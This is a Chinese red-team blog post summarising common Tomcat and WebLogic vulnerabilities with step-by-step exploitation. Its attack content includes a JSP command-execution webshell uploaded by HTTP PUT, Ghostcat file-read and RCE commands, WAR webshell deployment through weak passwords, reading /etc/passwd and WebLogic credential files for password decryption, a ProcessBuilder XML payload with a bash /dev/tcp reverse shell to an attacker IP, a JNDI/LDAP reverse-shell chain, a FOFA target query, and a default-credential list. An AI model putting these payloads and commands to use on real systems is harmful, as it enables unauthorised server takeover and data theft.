前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >中间件常见漏洞总结

中间件常见漏洞总结

作者头像
红队蓝军
发布2025-02-12 15:44:58
发布2025-02-12 15:44:58
12200
代码可运行
举报
文章被收录于专栏:红队蓝军
运行总次数:0
代码可运行

1、Tomcat

弱口令导致war远程部署getshell

影响版本:无

漏洞复现:通过弱口令登录,使用哥斯拉生成一个木马,上传getshell。

点【取消】按钮,跳转至如下页面

根据页面提示信息,在tomcat目录下,找到conf文件夹,然后找到tomcat-users.xml文件。

如图红色框里的几行代码,红框1里的是用户在安装tomcat时设置的密码,如果用户在安装时未设定密码则如红框2里的显示。username是账户,password是密码。

使用哥斯拉声生成木马

得到ws.jsp木马文件,将ws.jsp 压缩ws.zip,在一次压缩ws.war后,进行上传

访问是否上传成功

/ws解压后得到ws.jsp ,所以访问ws/ws.jsp

哥斯拉链接成功

文件包含漏洞(CVE-2020-1938)

漏洞描述:默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

影响范围

代码语言:javascript
代码运行次数:0
复制
Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

前提条件:

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009

漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

漏洞危害:

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害

漏洞复现

1、下载链接:https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

2、安装JDK,并配置环境

3、启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat

任意文件读取

可以读取webapps目录下的任何文件

代码语言:javascript
代码运行次数:0
复制
 python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

任意文件包含

1、首先得上传一个要包含的文件内容,并将文件上传到webapps目录

test.txt

代码语言:javascript
代码运行次数:0
复制
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

2、访问该文件内容test.txt

3、输入命令,执行命令

代码语言:javascript
代码运行次数:0
复制
python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

文件上传漏洞(CVE-2017-12615)

漏洞原理

当 Tomcat 运行在 Windows 主机上,启用了 HTTP PUT 请求方法,可以通过构造请求向服务器上传包含任意代码的 JSP 文件,导致 JSP 文件中的代码能够被服务器执行

影响范围:

Tomcat 7.0.0 - 7.0.81

漏洞描述:Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因:在这个Dockerfile文件中,通过修改web.xml文件来添加一个名为readonly的参数,其值为false

漏洞复现:

靶场搭建可以直接使用vulhub

可以看到readonly值为false

代码语言:javascript
代码运行次数:0
复制
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

访问,即可执行任意命令

2、Weblogic

任意文件读取漏洞

漏洞原理:路径下存在任意文件读取: /hello/file.jsp?path=/etc/passwd

影响范围:

代码语言:javascript
代码运行次数:0
复制
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞复现

通过/etc/passwd读取用户信息

http://xxx:7001/hello/file.jsp?path=/etc/passwd

1、读取密文文件

读取配置文件拿到加密密钥:

代码语言:javascript
代码运行次数:0
复制
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

2、读取加密后的密码

使用burp抓包后,并将密码存储为.dat文件

代码语言:javascript
代码运行次数:0
复制
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

将读取的文件内容生成文件

3、解密

https://github.com/TideSec/Decrypt_Weblogic_Password

远程命令执行漏洞

CVE-2020-14882: 代码执行漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。 CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

漏洞原理

CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

影响范围

代码语言:javascript
代码运行次数:0
复制
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

漏洞复现

构造xml文件

代码语言:javascript
代码运行次数:0
复制
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

访问.xml文件,会在tmp生成success文件

同理:修改 .xml文件中<![CDATA[bash-i >& /dev/tcp/攻击机IP/4444 0>&1]>即可反弹shell

未授权远程代码执行漏洞(CVE-2023-21839)

漏洞原理

WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响范围:

代码语言:javascript
代码运行次数:0
复制
12.2.1.2.0
12.2.1.1.0
12.2.1.3.0
12.2.1.0.0
12.2.1.4.0
14.1.1.0.0
12.1.2.0.0
12.1.3.0.0
10.3.6.0

FOFA

代码语言:javascript
代码运行次数:0
复制
app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"

Vulfocus 已经集成该漏洞环境可通过以下环境使用:

代码语言:javascript
代码运行次数:0
复制
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.2.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.1.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.3.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.4.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:14.1.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.2.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.3.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:10.3.6.0-jdk-release

漏洞环境:利用vulhub

漏洞复现:

下载https://github.com/WhiteHSBG/JNDIExploit

1、搭建ldap服务

代码语言:javascript
代码运行次数:0
复制
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali的ip

2、kali 开启NC

代码语言:javascript
代码运行次数:0
复制
nc -lvvp 9999

3、下载EXP

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

执行命令

代码语言:javascript
代码运行次数:0
复制
java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

4、成功反弹shell,监听成功

Weblogic常用弱口令

可以去测试一下是否能登录上

代码语言:javascript
代码运行次数:0
复制
weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、Tomcat
    • 弱口令导致war远程部署getshell
    • 文件包含漏洞(CVE-2020-1938)
    • 文件上传漏洞(CVE-2017-12615)
  • 2、Weblogic
    • 任意文件读取漏洞
    • 远程命令执行漏洞
    • 未授权远程代码执行漏洞(CVE-2023-21839)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档